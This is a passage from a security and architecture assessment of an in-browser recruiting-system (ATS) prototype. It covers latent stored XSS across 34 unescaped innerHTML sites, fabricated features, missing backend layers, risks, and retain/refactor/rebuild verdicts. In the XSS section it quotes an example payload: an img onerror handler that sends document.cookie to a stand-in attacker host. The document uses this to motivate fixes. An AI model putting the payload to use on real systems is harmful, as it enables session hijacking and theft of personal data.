That last row is the most diagnostic. Somebody thought about escaping exactly once, in exactly one place, and did it partially and locally. That is the signature of an absent shared helper, and it means every one of the other 33 sites is unprotected by construction rather than by oversight.

4.2 Why it is latent today

Today every value rendered comes from js/data.js, generated in the browser by a seeded LCG from a fixed alphabet of names, titles, companies and locations (js/data.js:9, js/data.js:20-40). There is no path by which an attacker's bytes reach an interpolation site, because there is no input path at all: zero network calls (_repo-findings.md §C), no <input type="file">, and the one dropzone discards the dropped files (js/import.js:71). The single field a user can actually control is the chat input, and that is the one place with a partial escape. So: not currently exploitable, and not a live incident.

4.3 Why it is P0 the moment real data flows

The two primary Phase 1 intake sources are CV files and inbound email. Both are, by definition, supplied by people outside the organisation with no obligation to be well-behaved. A CV whose name field contains <img src=x onerror=fetch('https://attacker/'+document.cookie)>, or an email whose subject or body contains a <script> tag, becomes stored XSS the first time a recruiter opens the record.

graph LR
  CV["CV file<br/>attacker-supplied"] --> PARSE["parser extracts<br/>name / title / location"]
  MAIL["inbound email<br/>attacker-supplied"] --> FIELDS["subject / body / sender"]
  PARSE --> STORE["stored as candidate<br/>and application fields"]
  FIELDS --> STORE
  STORE --> API["API returns JSON"]
  API --> SINK["34 unescaped innerHTML sites<br/>e.g. js/inbox.js:292, js/candidates.js:68"]
  SINK --> EXEC["script executes in the<br/>recruiter's authenticated session"]

The blast radius is the whole application, because there is nothing to contain it: no CSP, no session isolation, no privilege separation, and — once authentication exists — a session that by role can read every candidate record in the company. Worse, the highest-value screens are exactly the untrusted-data screens: Inbox (8 sinks), Candidates, CV Import, candidate profile. The email preview at js/inbox.js:292 renders a full message body verbatim, which is the widest single sink in the codebase.

4.4 Why this is a rendering-layer problem, not a backend one

Escaping on write is the wrong fix and must not be adopted as a shortcut. Candidate names legitimately contain &, ' and -; storing them HTML-encoded corrupts the data for search, export, dedupe, email and every non-HTML consumer, and it leaves the sink unprotected against the next data source that forgets to encode. The correct fix is contextual escaping at render time, in one place, enforced mechanically.

4.5 Required response, in order

#	Action	Where	Notes
1	Add an escaping helper (UI.esc()) and apply it at every interpolation of a data-derived value	js/ui.js, then all 34 innerHTML sites	Mechanical, reviewable in a diff. Junior task with a senior review checkpoint
2	Replace all 178 inline on*= handlers with delegated listeners reading data-* attributes	21 files; pattern at js/candidates.js:121	Prerequisite for step 3 — CSP without unsafe-inline cannot coexist with inline handlers
3	Add a Content-Security-Policy with no unsafe-inline for scripts	index.html, and as a header at the real server	Defence in depth: turns a missed interpolation from execution into a console error
4	Add a CI gate that fails on a new unescaped ${ inside an HTML template literal	CI pipeline (does not exist yet — §2.1)	Makes the guarantee survive the months of migration rather than decaying
5	Write down that real CV or mailbox data is only ever wired to the new frontend, never to the prototype	Team rule + README	The cheapest control available, and the one that actually prevents the incident
6	Eliminate the class structurally: JSX escapes by default; ban dangerouslySetInnerHTML as a CI error	migration	Converts a per-line discipline into a property of the framework

Estimated 2-3 developer-days for steps 1-4. Deliberately decoupled from the migration schedule, because the migration will take months and the security deadline is set by whoever next asks for a demo with real data.

4.6 One more sink worth naming

js/ui.js:143 renders toast messages via innerHTML, and toasts are called with interpolated data throughout — e.g. UI.toast(`${cand.name} moved to ${newStage}`) at js/pipeline.js:99, UI.toast(`${i.name} imported → ${job.title}`) at js/import.js:169, and the same pattern at js/inbox.js:211. Any escaping pass that covers only view templates and misses the notification path leaves a live sink behind, reachable from ordinary recruiter actions on attacker-supplied names. Escape at the primitive, not at the call sites.

---

5. Needs refactoring

Distinct from §6 (things that do not exist) and §11 (verdicts). These are things that exist, work, and are the wrong shape for what comes next.

#	Item	Why it must change	Evidence
1	String-template innerHTML rendering	Unsafe by default (§4) and structurally unable to express loading/error states (§10)	34 sites
2	22 ordered <script> tags, everything on window	Load order is an unenforceable contract; any file can reach any other. This is the same big-ball-of-mud failure the backend boundary rules exist to prevent, already realised on the frontend	index.html:264-285
3	178 inline event handlers	Blocks CSP; puts data in executable context	grep; js/candidates.js:121
4	Ad-hoc per-form validation across ~116 controls in 16 files	No shared schema, no server counterpart, no consistency. The complex forms are still to be written	js/jobs.js:198-202, js/offers.js:129, js/ui.js:241-249
5	UI.dataTable client-side sort and pagination	Sorts and paginates whatever array it is handed. At real volume the server must paginate, and the sort must be a query parameter	js/ui.js:152-239
6	Duplicated resize handling	Two independent debounced resize handlers both re-render the current view (250ms and 220ms), so a resize can trigger two full re-renders	js/app.js:216-228 and js/app.js:272
7	Denormalised display strings used as identity	recruiter and manager are stored as name strings on jobs and candidates, and looked up by name (DB.getRecruiterByName, and DB.candidates.find(c => c.name === f.candidate))	js/data.js:96,123, js/data.js:510, js/offers.js:130
8	Hardcoded currency formatting	DB.money and DB.moneyK prepend $ unconditionally, across six jurisdictions	js/data.js:504-505
9	Modal focus management	No focus trap, no focus restore on close, no route-change focus move — the one gap in otherwise strong accessibility	js/ui.js:106-128
10	External font CDN	The only third-party origin in the document; complicates CSP and adds an egress dependency for an internal HR tool	index.html:21,23
11	.gitignore has no Node section	Build output and node_modules/ would be committed on day one of the frontend build	.gitignore

---

6. Missing layers

Everything below is absent from the repository. This is the actual size of the greenfield work, and it is why one month cannot deliver a platform.

graph TD
  subgraph HAVE["Exists today"]
    UI2["Design system + UI primitives + chart engine<br/>23-screen IA"]
  end
  subgraph MISSING["Absent — must be built"]
    API2["API layer<br/>versioned routes, schema, error envelope, pagination"]
    AUTH["Authentication + session"]
    AUTHZ["Authorization<br/>one decision point, scoped roles"]
    VAL["Server-side validation"]
    PERS["Persistence + migrations + seed"]
    HIST["History + audit"]
    FILES2["File storage, checksums, virus scan, retention"]
    PARSE2["Document parsing (PDF/DOCX/OCR)"]
    QUEUE["Durable queue + worker + job status"]
    INTG["Inbound channels (Graph, portal, upload)"]
    AI2["AI orchestration, run ledger, review"]
    SCORE["Scoring: config versions, components, evidence"]
    SEARCH["FTS + trigram search and dedupe index"]
    NOTIF2["Notifications + outbound email"]
    OBS["Logging, metrics, tracing, alerting"]
    CFG["Config + secrets management"]
    TEST["Tests + CI + containerisation"]
  end
  UI2 -.->|"no connection exists"| API2

Layer	Absent evidence	Consequence for Phase 1
Persistence + migrations + seed	_repo-findings.md §B	Nothing survives a reload today. Blocks literally everything else
API layer (versioned routes, OpenAPI schema, error envelope, pagination, request ids)	zero network calls, repo-wide grep	The frontend has never had a network boundary (§10)
Authentication + session	_repo-findings.md §D	No "current user", so no ownership, no assignment, no audit actor
Authorization (one decision point, scoped role assignments)	no can() anywhere; js/rbac.js:78	Cannot ship to 66 users with 8 role types until this exists
Server-side validation	js/jobs.js:198-202, js/offers.js:129	Client checks are bypassed by imports, integrations and direct API calls
History + audit	_repo-findings.md §F	Required by the constraints; cannot be backfilled later
File storage, checksums, virus scanning, retention	js/import.js:71 discards files	No CV can be stored, let alone parsed
Document parsing (PDF/DOCX/OCR)	no parsing code	The core intake capability. Also the primary untrusted-file attack surface
Durable queue, worker process, job status	setInterval fakes progress (js/import.js:101-114)	No execution context for multi-second CPU-bound work
Inbound channel adapters	fabricated Outlook tab (js/data.js:309-329)	Channel #1 depends on corporate IT for an app registration and mailbox
AI orchestration + run ledger + review	canned replies (js/aiassistant.js:9-90)	Explainability, versioning and "never auto-reject" all need this boundary
Scoring with config versions, components and evidence	js/data.js:123 random int	The product's central claim currently does not exist
Search + duplicate-detection index	Array.filter (js/app.js:130-150)	Dedupe and candidate search share one index type
Notifications + outbound email	generated arrays	Every "we'll email the candidate" flow is currently a toast
Observability	devserver.py:27-28 suppresses logs	An intake failure would be invisible in production
Config + secrets	no .env, no store	Blocks the first real integration
Tests + CI + containerisation	_repo-findings.md §B	No regression safety net for a two-person team with one reviewer

---

7. Hardcoded data and simulated behaviour inventory

Everything a viewer of the running prototype would reasonably believe is real, and is not. This table exists so nobody plans against a capability that does not exist.

What appears to work	What actually happens	Evidence
A populated ATS with 100 candidates, 26 jobs, 40 interviews, 48 inbox items, 20 emails, offers, assessments, tasks	All generated in-browser at load by a seeded LCG (seed = 88123), stable across reloads, existing only in memory	js/data.js:9, js/data.js:85, js/data.js:112, js/data.js:288, js/data.js:313
"Today" and every relative date	Hardcoded 2026-07-09 in at least four files. Every "3 days ago" and "due in 5 days" on every screen is wrong relative to real time	js/data.js:54,237, js/candidates.js:18,433, js/jobboard.js:167
ATS match scores with a component breakdown	int(52,98); imported CVs get literal constants for experience/education/location/salary sub-scores and reuse the same random number for skills and keywords	js/data.js:123, js/import.js:164
A second "Relevance" percentage	Blend of the random score, a matched-skill ratio and recency, computed client-side. Two different meaningless numbers for the same candidate on the same row	js/candidates.js:14-19, js/candidates.js:71
CV upload, parse and progress	Dropped files are discarded (only .length is read); the queue is invented names with setInterval-driven progress and a random score	js/import.js:71,77-114
Duplicate detection at 95% similarity	Math.random() < 0.18 at upload; the 95% figure is literal prose in the modal; "Merge" fires a toast	js/import.js:84,130-152
A working Outlook mailbox	20 generated messages with templated subjects and fabricated bodies. "Preview attachment" fires a toast	js/data.js:309-329, js/inbox.js:292, js/inbox.js:297
An AI recruiting assistant	Keyword matching over the prompt returning hand-written HTML after an artificial 850-1350ms delay	js/aiassistant.js:9-90,113-116
15 AI capabilities, most in "Beta"	A hardcoded array of names, descriptions and status badges. No capability is wired to anything	js/data.js:448-465
Enterprise RBAC with a save button	In-memory matrix; "Save Changes" fires a success toast; new roles are lost on reload; nothing reads the matrix	js/rbac.js:18,78,113
Security controls (2FA on, audit logging on, session timeout, password policy, data retention)	Inert markup with no handlers and no persistence	js/settings.js:146-160
Branding and career-portal configuration	Hardcoded values in markup; colour swatches fire a toast; "Upload" logo fires a toast	js/settings.js:121,135-142
KPI cards (time-to-hire 27 days, cost-per-hire $4,280) and trend charts	Literal constants and literal arrays	js/data.js:232-233,245-247
Pipeline drag-and-drop stage changes	Mutates cand.stage in place with no actor, timestamp, reason or prior value; lost on reload	js/pipeline.js:93
Job editing	Object.assign over the existing record — the previous version is gone	js/jobs.js:210-215
Job board publishing with live view/click metrics	Unshifts a row with a hardcoded date and zeroed counters	js/jobboard.js:167
Salary and offer amounts	Integers with no currency; offer validation is > 0	js/data.js:126, js/offers.js:129, js/data.js:504-505

---

8. Architectural risks

#	Risk	Evidence	Severity	Mitigation
1	Demo-to-reality gap. The prototype looks like a finished product across 23 screens. Stakeholders who have seen it will discount the remaining work, and §7 shows how much of what they saw is fabricated	§7 in full	High	Show §7 to stakeholders explicitly. Make capability status truthful in the UI rather than a coming-soon grid. Never demo Settings→Security or the RBAC save button as capabilities
2	The data model in the prototype is actively wrong, not merely incomplete. Copying it forward reproduces every gap the constraints forbid: no candidate/application split, no intake, no versioning, no history, scalar assignment	js/data.js:112-127, js/data.js:284-305, js/data.js:85-108, js/data.js:96,123, js/pipeline.js:93	High	Read js/data.js as a field list only. The structural corrections must land in Phase 1, when changing them is still cheap
3	The rendering layer cannot express asynchrony. Views are synchronous functions returning HTML strings (§10). This is not a quality complaint; it is a structural incompatibility with an API	js/app.js:26-33	High	Migrate the rendering layer. Do not attempt to bolt async data onto the existing view signature
4	Two frontends will coexist for 6-12 months. A fix applied to a prototype screen and not to its replacement, or vice versa, is inevitable	migration plan in _decisions.md	Medium	Freeze the prototype after the Phase 0 patch except for security fixes; each migrated screen deletes its prototype counterpart in the same PR
5	Everything on window with 22 ordered script tags is the frontend expression of the big-ball-of-mud failure the backend boundary rules exist to prevent. There is no mechanical enforcement available today	index.html:264-285	Medium	Modules + typechecking + lint boundaries in the new app. Accept the build step
6	No test or CI safety net at all, for two developers with one reviewer and no cover	_repo-findings.md §B	Medium-high	Tests and CI in Phase 0, before feature volume makes them expensive to retrofit
7	Untrusted-file parsing is the largest new attack surface and it does not exist yet, so it can be designed safely from the start. Parser libraries over attacker-supplied PDFs and DOCX are a real RCE and resource-exhaustion surface	intake design; §2.5	Medium-high	Timeouts, memory caps, a restricted OS user, no outbound network from the parse step, and a plan to move parsing to an isolated queue as soon as it is justified
8	Bus factor of one on everything architecturally hard, with no second reviewer	_repo-findings.md §I	Medium	Partly mitigated already: 18 ADRs exist at adr/0001–0018 (indexed in 02 §13), which is the durable trail _decisions.md names as the primary mitigation. Two gaps remain and are the actionable part: (a) the four cross-cutting persistence patterns — versioning, history, append-only scores, money-plus-currency — have no single decision record, only ADR 0007 covering the versioning third; (b) ADR 0017 is still Proposed and is a merge blocker on migration 001, so the schema-authority ruling is written but not ratified. Plus, unchanged: pair on identity and scoring, and deliberately rotate one senior-owned module per phase to Ahmed with Talha reviewing
9	Frozen "today" hides all time-dependent bugs. With 2026-07-09 hardcoded, no timezone, DST, deadline or SLA logic has ever executed against real time	js/data.js:237 and three other sites	Medium	Treat all date/time behaviour as untested. Store UTC, retain wall-clock intent plus IANA zone, and test explicitly across zones
10	Scale assumptions are untested. Every screen loads the full dataset and filters in memory at 100 rows	js/candidates.js:65 (rows: DB.candidates)	Medium	Server-side pagination, filtering and sorting from the first list endpoint. Do not port UI.dataTable's client-side behaviour
11	No deep links. Record selection is in-memory (Candidates.openProfile(id)), so no URL identifies a candidate or requisition	js/app.js:20-23; js/candidates.js:121	Low-medium	URL-addressable records via public_id from the first migrated screen. Recruiters will paste links to each other on day one
12	The .docx requirements artefact is not reviewable in a diff. The architecture side of this is now closed — 18 ADRs plus documents 00–08 are Markdown in the repository — but the requirements input is still a binary blob, so a silent BRD edit is invisible to review	docs/TalentFlow-ATS-Business-Requirements-v1.0.docx; docs/architecture/	Low-medium	Keep all architecture documents in Markdown in the repository (done). For the BRD: export a Markdown copy alongside the .docx and re-export on every revision, so requirement changes appear in a diff and can be traced to the requirement ids in 08-requirements-traceability.md

---

9. Security concerns beyond the XSS finding

#	Concern	Evidence	Notes
1	No authentication. Opening the file grants full application access	_repo-findings.md §D	Not a vulnerability in a local static demo; total exposure the moment it is hosted anywhere reachable. Do not deploy the prototype to a shared URL
2	No authorization. No can() anywhere; the RBAC matrix gates nothing	js/rbac.js:78,111-112	The matrix's shape is also inadequate: it has no notion of scope (this requisition, this department), which real recruiting authorization needs
3	Security settings assert protections that do not exist — 2FA and audit logging render as enabled	js/settings.js:148-151	Misleading to stakeholders and to any future auditor who is shown a screenshot
4	No CSP and no security headers	index.html; devserver.py:15-18	No defence in depth behind the escaping gap. Blocked on removing 178 inline handlers first
5	No audit trail mechanism	_repo-findings.md §B	Combined with missing history, the system can answer neither "current state" durably nor "how it got there"
6	No PII classification, retention or erasure path. The Data Retention dropdown does nothing	js/settings.js:157-158	Classify at the column level from the first migration. Retention as pseudonymisation, so erasure can coexist with mandatory history
7	Third-party origin in the document's style context	index.html:21,23	Self-host the fonts. Removes the only external origin and simplifies CSP
8	No file-upload safety design — no size limits, no type validation, no checksums, no virus scanning (because there is no upload)	js/import.js:71	Design it correctly first time: size and MIME limits, sha256, scan before parse, parse in an isolated context
9	The prototype has no secrets and no credential handling, which is a genuine strength today	.gitignore:31-34; no .env	Keep it that way: secrets only in a managed store, never a committed .env. There is nothing to rotate or leak at present
10	Chatbot access-control hazard is designed-in, not present. There is no assistant backend yet, so the standard mistake (a broadly privileged service account with post-hoc filtering) has not been made	js/aiassistant.js is UI-only	Propagate the human actor's identity into the same authorization decision point the API uses. One authorization implementation, not two

---

10. Can the existing frontend connect cleanly to APIs?

No. Not cleanly, and not incrementally in a way that leaves the existing views intact. The honest answer is that the presentation assets connect trivially and the rendering layer does not connect at all.

The reason is structural, and it is one line:

// js/app.js:26-33
Router.render = function (route) {
  const view = (window.Views[route] || window.Views.dashboard)();  // synchronous call
  const main = document.getElementById('main-content');
  main.innerHTML = view.html;                                      // full HTML string, already built
  if (view.onMount) view.onMount();
};

A view is a synchronous function that returns a complete HTML string. By the time the router has something to insert, all the data has already been read from window.DB and interpolated. There are exactly four consequences, and each one is fatal to "just point it at the API":

1. There is no await point. To fetch data you must either block (impossible — synchronous function), or return HTML built from data you do not have yet. Every view would have to be rewritten to render a shell first and fill it in from onMount, which is a rewrite of the view, not a wiring change.
2. There are no loading states. Not "they are basic" — there is no spinner, skeleton or pending state anywhere in 4,780 lines of JavaScript. Every screen assumes its data is present and correct at render time. Under real latency, users would see structurally empty screens with no indication that anything is happening.
3. There are no error states. No catch, no error boundary, no retry, no error component. A failed request has nowhere to be displayed, so the failure mode is a silently blank region. The only handled failure in the entire codebase is localStorage access wrapped in try/catch (js/app.js:64,193,198).
4. The data access pattern is synchronous global reads. Views call DB.candidates, DB.getJob(id), DB.kpis directly, dozens of times, mid-template (js/candidates.js:65, js/app.js:87-94, js/dashboard.js). Replacing DB with an async client means touching every one of those reads in every view — while also introducing caching, deduplication, invalidation and refetch-on-mutate, none of which exist. Mutations today are direct array mutations (DB.candidates.unshift(...) at js/import.js:157, cand.stage = newStage at js/pipeline.js:93) with no server round-trip, no optimistic-update pattern and no rollback.

Two further blockers are worth naming because they are easy to miss:

5. UI.dataTable owns sort and pagination client-side (js/ui.js:152-239), holding the full row array in a closure. Server-side pagination inverts that contract entirely — page state becomes a query parameter and the component becomes a controlled view over a page of results.
6. No auth or request infrastructure exists to hang an interceptor on — no HTTP client, so no place for a token, a CSRF header, a 401 redirect, a request id or a retry policy.

What can connect cleanly

Asset	Connects cleanly?	Why
css/styles.css	Yes, unchanged	Semantic class names, no coupling to the data layer or the framework
js/charts.js	Yes, unchanged	Pure function of (canvas, data, options); reads colours from CSS. Hand it API data instead of DB.analytics
js/ui.js primitives	After a port	The signatures are sound; the implementations are HTML-string builders and XSS sinks
23-route IA	Yes	It is a route table and a screen inventory, not code that runs
The 20 view modules	No	Synchronous, string-templated, globally coupled, no async/loading/error path

The honest recommendation

Do not attempt to wire the existing views to a real API. The work of adding an await point, a loading state, an error state, a cache and a mutation path to each of 20 string-template views is larger than rebuilding the rendering layer, and it leaves the §4 exposure in place while real data flows through it. Migrate screen by screen behind the retained design system, starting with the untrusted-data screens, and let the prototype remain a frozen demo and reference.

The one thing that must not happen is the middle path: pointing a partially hardened prototype at a real mailbox to demonstrate progress. That combines the missing error handling with the unescaped sinks and the absent authorization, in a single stroke, on the exact data that makes all three dangerous.

---

11. Verdicts: RETAIN / REFACTOR / REBUILD

Component	Verdict	Reasoning
css/styles.css (1,269 lines)	RETAIN verbatim	The most valuable verified asset in the repository: 93 tokens, dual themes, 13 breakpoints, AA verified across 23 routes × 2 themes, semantic class names so it ports into any framework. Rebuilding costs weeks and risks regressing accessibility. Content-freeze it and git mv it
js/charts.js (347 lines)	RETAIN as-is	Dependency-free, seven chart types, re-themes automatically by reading CSS custom properties (js/charts.js:9). Rewriting is pure loss and would add a charting dependency. Wrap it, do not touch it
23-route information architecture (js/app.js:7-16)	RETAIN as an artefact	A validated UX artefact independent of the fake data. Becomes the route table and screen backlog; six routes correctly dissolve into views over other modules
Theme behaviour (js/app.js:62-80,188-205)	RETAIN the behaviour	"Explicit choice wins, otherwise follow the OS and keep following it" is a correct, deliberate decision. Port it as a small provider
Accessibility standard (44px targets, aria-*, safe-area, pinch-zoom preserved)	RETAIN the standard	Real, verified work. Make it a CI check rather than a one-off audit; add the missing focus trap/restore
js/ui.js primitives (12 exports)	REFACTOR	Correct vocabulary, wrong implementation: every primitive is an HTML-string builder and therefore an XSS sink. Port one-for-one to typed components keeping identical class names so the retained CSS keeps matching. dataTable's sort/paginate move server-side
CV Import interaction design (js/import.js:22-45,130-152)	REFACTOR the UX, REBUILD the mechanics	Dropzone → queue → per-file status → duplicate interstitial before commit is the right interaction for real intake. Every mechanic behind it is simulated (files discarded at js/import.js:71)
index.html shell	REFACTOR	Sidebar/topbar structure and the accessibility meta work are worth keeping; the 22 script tags and the Google Fonts CDN link (index.html:21,23) go
js/app.js router and shell wiring	REBUILD	33-line hash router with no params, guards, nested routes or code splitting; no deep-linkable records; no auth guard hook. Also holds three innerHTML sinks (js/app.js:113,122,148)
The 20 view modules (candidates, inbox, jobs, pipeline, interviews, offers, …)	REBUILD, screen by screen	Synchronous string-template views with no async/loading/error path (§10), and the location of most of the 34 XSS sinks. Their content — fields, columns, filters, actions — is valuable input; their implementation is not
js/data.js (512 lines)	REBUILD as the backend; retain as a field list	Not a data model: no candidate/application split, no intake, no versioning, no history, scalar assignment, random scores, no currency, frozen dates. Its value is documenting which fields recruiters expect on screen. At most it becomes a seed fixture
js/rbac.js (117 lines)	REBUILD	Nothing reads the matrix; "Save" is a toast (js/rbac.js:18); new roles are lost on reload (js/rbac.js:113); the flat role × module × permission shape has no scope dimension. Real permission model first, matrix UI later as a view over real rows
js/settings.js (193 lines)	REBUILD / split	Inert chrome asserting protections that do not exist (js/settings.js:146-160). Splits into identity concerns and configuration concerns, with an admin back-office as the initial UI so this screen need not be rebuilt early
js/aiassistant.js canned replies (AI._reply, lines 9-90)	REBUILD — delete outright	Keyword matching returning hand-written HTML with artificial latency. The chat UI shell (dock, streaming-ready message list, prompt chips) is worth keeping as a shape; AI._reply must not survive contact with a real model, and its own escaping is partial (js/aiassistant.js:102)
devserver.py (36 lines)	RETAIN for now, DROP at migration	Does one job well (defeats the stdlib server's one-second Last-Modified granularity). Superseded by the frontend dev server; delete with the prototype
.claude/launch.json	RETAIN	Harmless local convenience; correctly gitignored
.gitignore	REFACTOR	Add Node and build-output sections before the first package.json. Note its Python section is weak evidence of stack intent and must not be cited as one
.backup-prebrand/ (817-line older stylesheet + old JS)	DROP	Dead weight in the working tree, invisible to review because it is gitignored. Git history is the mechanism for this
docs/TalentFlow-ATS-Business-Requirements-v1.0.docx	RETAIN as input	The only requirements artefact in the repository. Not diffable — keep architecture documents in Markdown alongside it
Tests, CI, Docker, migrations, .env, backend, database, auth	BUILD (nothing exists to retain, refactor or rebuild)	_repo-findings.md §B. Entirely additive, so it can be shaped correctly from the start — which is the one genuine advantage of this starting position

---

12. Assumptions and consistency notes

Explicitly labelled as required.

Assumptions made in this document:

1. Assumption: the WCAG 2.1 AA verification cited in _repo-findings.md §G (23 routes × 2 themes, 8,459 text nodes, 0 failures) was performed as described. It is not reproducible from the repository because no test harness exists, and the audit helper (.audit.js) is gitignored and dev-only. Recommendation: re-establish it as a CI check so the claim stays true.
2. Assumption: the prototype has never been pointed at real candidate data. Nothing in the repository could prove otherwise either way, and the whole dataset is in-memory. If it has, §4 moves from latent to an incident to be investigated.
3. Assumption: .backup-prebrand/ is a pre-rebrand snapshot with no unique content worth keeping. Verified only by line count and file names, not by diff.
4. Assumption: the 23 routes represent the intended screen scope of the platform. They were built as a UX artefact; nothing in the repository confirms business sign-off on the inventory.

Measurement notes (minor, for implementers who will re-derive these numbers):

• _repo-findings.md §F originally cited js/data.js:126 for the random aiScore — the single most-quoted repository fact in this package, repeated at roughly 26 sites. As inspected, aiScore: int(52, 98) is at js/data.js:123 and salary: int(90,190)*1000 is at js/data.js:126; both sit inside the same candidate object literal at js/data.js:117-127, so one anchor was doing duty for two different claims and only the money one was right. _repo-findings.md §F now cites :123 for the score and keeps :126 for the money, and every downstream quotation of the score has been moved to :123 while every quotation of the money stays at :126. The finding is unchanged.
• _repo-findings.md §F originally cited js/data.js:99 and js/data.js:124 for the scalar recruiter assignment. As inspected, recruiter: rec.name, recruiterId: rec.id on the job is at js/data.js:96 and recruiter: job.recruiter, recruiterId: job.recruiterId on the candidate is at js/data.js:123 — :99 is the job's salaryMin/salaryMax line and :124 is applied/education. Both have been corrected in §F and downstream. Note that :99 remains the correct anchor for the job salary range, so this correction is claim-specific, not a blanket substitution. The finding is unchanged.
• Four further anchors were off by one in the same way and have been corrected package-wide, each claim-specific because the wrong line was a legitimate anchor for a different claim: the JOB- reference code :94 → :95 (:94 is jobs.push({); the APP- reference code :297 → :298 (:297 is inbox.push({, and resumeStatus is at :300); candidate experience-in-years :122 → :121 (:122 is location/stage/status, which several documents cite correctly for the stage-as-string finding); and the job salary range :100 → :99 (:100 is education/skills/benefits, cited correctly elsewhere for the plain-skills-array finding). No claim changed; only the anchors did.
• _repo-findings.md §C originally cited index.html:262-286 and "24 <script> tags", and §A originally gave js/ as "24 files, ~5,900 lines". As measured: ls js/ returns 22 files, wc -l js/*.js totals 4,779 lines, and grep -c '<script' index.html returns 22, at index.html:264-285 (:262 is <div class="scrim">, :286 is </body>). Both counts and both ends of the range were wrong; _repo-findings.md §A, §C and §H have been corrected to 22 files / ~4,780 lines / 22 tags / index.html:264-285, and this document, _decisions.md and the ADRs use the corrected figures. The architectural finding is unchanged — 22 ordered global scripts with everything on window make exactly the same point as 24.
• _decisions.md Part 1 originally described css/styles.css as having "424 custom-property declarations". As measured, the file contains 159 custom-property declarations (57 in :root, 41 in the [data-theme="dark"] block, the remainder inline on components), 93 distinct token names and 470 var(--…) references. No count in the file reproduces 424. The architectural conclusion — that this is a substantial, verified, brand-compliant token system worth retaining verbatim — is unaffected; only the figure was wrong, and it has now been corrected at the three places it was quoted (_decisions.md Part 1 summary and frontend decision, 00 §6 row 6, and adr/0013), each pointing back to this measurement.

Consistency with _decisions.md: this assessment agrees with every architectural conclusion in that file — retain the CSS and chart engine, port the primitives, rebuild the rendering layer, Phase 0 hardening before migration, greenfield backend with one database, and no separate AI service. Two tensions in _decisions.md are noted here as risks rather than diverged from, per its own instruction:

1. Migration tooling contradicts itself between Part 1 and Part 2. Part 1 selects Django partly because "migrations are built in" and mandates a makemigrations --check CI gate; Part 2 mandates "ordered, up-only plain-SQL migration files under db/migrations", states "the ORM, if any, maps to the schema; it never generates it", and explicitly rejects "ORM-first migrations (Django/Prisma/TypeORM autogenerate)". These cannot both hold. Settled since this assessment was first written, by adr/0017-plain-sql-migrations-as-schema-authority.md (canonical text quoted in 02 §12.4; still Proposed, and a merge blocker on migration 001): plain SQL under db/migrations/ is the authority, every Django migration is SeparateDatabaseAndState(RunSQL + state_operations) so Django supplies only ordering and the applied-state ledger, managed = True on every model, and drift is caught by two gates — makemigrations --check for models-versus-state, plus a pg_dump and catalogue diff for the triggers, column GRANTs, partitions and generated columns no ORM can express. Note that the managed = False variant this assessment originally floated is explicitly rejected there, because it would remove exactly the invariant-bearing tables from the only gate watching them. The related detail still holds and is handled: the chosen queue library ships its own Django-managed migrations, and they are named in db/schema-ignore.toml explicitly rather than omitted.
2. Entity naming diverges between the two parts — Part 1's InboundSubmission / SubmissionAttachment / ProcessingAttempt are Part 2's raw_intake / raw_intake_attachment / intake_parse_attempt, and Part 1's MergeOperation is Part 2's candidate_merge_operation. Same design, two vocabularies. Pick one before the schema document is written, or the API and the database will disagree in the code review that matters least and confuses most.

A third, smaller one: Part 1's deployment topology provisions PostgreSQL with "pgvector and pg_trgm enabled", while Part 2 lists pgvector as "Phase 2 only". Enabling an extension early is harmless; using it in Phase 1 is not. Worth one clarifying line so nobody reads the topology section as licence to build semantic search in Phase 1.